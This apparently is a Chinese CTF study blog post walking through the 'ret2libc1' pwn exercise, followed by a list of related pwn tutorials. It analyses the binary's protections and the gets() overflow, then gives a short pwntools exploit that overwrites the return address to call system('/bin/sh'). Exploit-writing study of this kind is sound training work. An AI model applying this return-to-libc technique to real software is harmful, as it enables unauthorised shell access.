1.看一下程序的保护

➜  ret2libc1 checksec ret2libc1    Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

2.看一下main函数有没有溢出

gets函数不限制长度，可以溢出

3.ROPgadget

利用 ropgadget，我们可以查看是否有 /bin/sh 存在

再看一下system函数的地址

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

那么，我们直接返回该处，即执行 system 函数。相应的 payload 如下

4.exp

#!/usr/bin/env python
from pwn import *sh = process('./ret2libc1')binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)sh.interactive()

flat函数是用来自动生成payload的函数
顺序是：[溢出长度 + 函数名称 + 函数返回地址 + 函数参数]
参考文献

pwn学习——ret2libc1相关推荐

pwn学习总结（五） —— ret2dl_runtime_resolve（待补充）
pwn学习总结(五) -- ret2_dl_runtime_resolve 一.程序示例二.Section .dynamic .dynstr .dymsym .rel.plt 三.延迟绑定 _dl_ ...
pwn学习总结（五） —— 堆溢出经典题型整理
pwn学习总结(五) -- 堆溢出经典题型整理 fastbin + 栈溢出 fastbin + 函数构造 fastbin + 堆执行 fastbin + malloc_hook fastbin + 栈 ...
pwn学习总结（四）—— 堆基础知识（持续更新）
pwn学习总结(四)-- 堆基础知识(持续更新) 前言 chunk 使用中(分配后) 空闲中(释放后) 堆块大小空间复用 bins fastbin unsorted bin small bin 前言 ...
PWN学习总结（四）—— BROP
pwn学习总结(三) -- BROP 描述利用条件攻击思路例题判断栈溢出长度寻找 stop gadgets 寻找 brop gadgets 寻找 puts 函数的 plt 地址寻找 put ...
pwn学习总结（三） —— 栈溢出经典题型整理
pwn学习总结(三) -- 栈溢出经典题型整理 ret2text ret2shellcode rop ret2libc 使用DynELF实现远程libc泄露 ret2syscall ret2libc ...
pwn学习总结（二） —— 基础知识（持续更新）
pwn学习总结(二) -- 基础知识(持续更新) Canary PLT表&GOT表格式化字符串漏洞 GCC编译参数 ASLR 危险函数输入流 syscall条件 shellcode 其它 ...
pwn学习总结（一） —— 常用命令
pwn学习总结(一) -- 常用命令编译程序文件信息本地测试远程调试 cyclic ROPgadget gdb pwntools 编译程序 GCC编译参数: -m32:编译为32位程序 -fs ...
【学习札记NO.00004】Linux Kernel Pwn学习笔记 I：一切开始之前
[学习札记NO.00004]Linux Kernel Pwn学习笔记 I:一切开始之前 [GITHUB BLOG ADDR](https://arttnba3.cn/2021/02/21/NOTE-0 ...
【pwn学习】堆溢出（三）- Unlink和UAF
前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录什么是Unlink? Unlink如何利用? 加入错误检查什么是Use-After-free? 例题 ...

pwn学习——ret2libc1

pwn学习——ret2libc1

1.看一下程序的保护

2.看一下main函数有没有溢出

3.ROPgadget

4.exp

pwn学习——ret2libc1相关推荐

最新文章

热门文章